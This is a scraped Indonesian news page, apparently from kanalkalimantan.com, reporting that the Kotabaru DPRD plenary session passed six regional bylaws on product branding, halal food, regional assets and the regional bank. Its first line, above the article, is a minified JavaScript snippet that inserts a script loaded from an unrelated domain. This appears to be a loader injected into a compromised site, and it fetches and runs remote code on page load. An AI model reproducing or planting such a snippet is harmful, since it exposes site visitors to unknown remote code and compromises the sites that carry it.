(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Gelar Rapat Paripurna, DPRD Kotabaru Bahas 6 Raperda dan Laporan Bapemperda


KANALKALIMANTAN.COM, KOTABARU – Rapat Paripurna, dengan dua agenda yaitu Laporan Akhir Pansus atas 6 Raperda dan Laporan Bapemperda DPRD penyampaian progres Propemperda tahun 2024, dilaksanakan oleh Dewan Perwakilan Rakyat Daerah (DPRD) Kotabaru,  Senin (9/12/2024).

Rapat Paripurna masa persidangan XI rapat ke -1 tahun sidang 2024/2025 itu dipimpin Ketua DPRD Kotabaru Suwanti, didampingi Wakil Ketua I Awaludin, Wakil Ketua II Chairil Anwar, dan Staf Ahli Bupati Bidang Pemerintahan Zainal Arifin dan dihadiri Anggota DPRD, Forkompimda, dan beberapa Kepala SKPD di lingkup Pemerintah Kabupaten Kotabaru.

Sementara 6 buah Raperda yang disahkan menjadi Perda dalam Rapat Paripurna antara lain, Raperda tentang Labelisasi Produk dengan Branding Kotabaru.

Baca juga: Catatan Korupsi 2024 Kalsel: Uang Negara Terselamatkan Rp18 Milliar dari 31 Kasus

Raperda tentang Inovasi Daerah, kemudian Raperda tentang Pengelolaan Barang Milik Daerah, dan Raperda tentang Produk Makanan Halal.

Selanjutnya Raperda tentang Perubahan Bentuk Badan Hukum Perusahaan Daerah, Saijaan Mitra Lestari menjadi Perseroran Daerah Saijaan Mitra Lestari serta Raperda tentang Penambahan Penyertaan Modal Pemerintah Daerah kepada Perseroan Terbatas Bank Perkreditan Rakyat (BPR) Bank Kotabaru Perseroda.

Ketua DPRD Kotabaru Suwanti mengungkapkan, ditetapkannya 6 buah Raperda berdampak positif terhadap masyarakat Kabupaten Kotabaru terutama di bidang pelayanan.

Baca juga: Evaluasi Penanganan Anak Tidak Sekolah dan Anak Putus Sekolah di Banjarbaru, Ini Masalah yang Dihadapi

Selain berdampak pada peningkatan atau penguatan ekonomi lokal, dan melindungi hak-hak mereka sebagai masyarakat Kabupaten Kotabaru.

“Kita berharap antara eksekutif dan legislatif saling bersinergi lebih bagus lagi rapat dan menjadikan Perda Kabupaten Kotabaru,” ujar Suwanti.

Sementara itu, Waki Ketua I Awaludin mengatakan, disahkan 6 buah Raperda setelah melalui proses pembahasan dan rapat kerja Pansus.

Baca juga: Dapatkan Ratusan Ribu Hadiah di Friday Deals BRImo FSTVL, Ini Caranya!

Dia menambahkan, 6 Raparda ini sangat bermanfaat untuk masyarakat. Seperti penyertaan modal ke BPR yang programnya ke depan adalah nol bunga khususnya, masyarakat atau pelaku UMKM. Termasuk Raperda tentang Produk Makanan Halal, mengingat Kotabaru masyarakat agamis maka harus dipercepat.

Selain Raperda perubahan Perusda ke Perseroda. Sebab, Perseroda punya ruang lingkup lebih besar. (kanalkalimantan.com/dprdkotabaru/kk)

Reporter: kk
Editor: Dhani


Muhammad Andi

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

9 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

10 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

12 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

15 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

18 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

18 jam ago

This website uses cookies.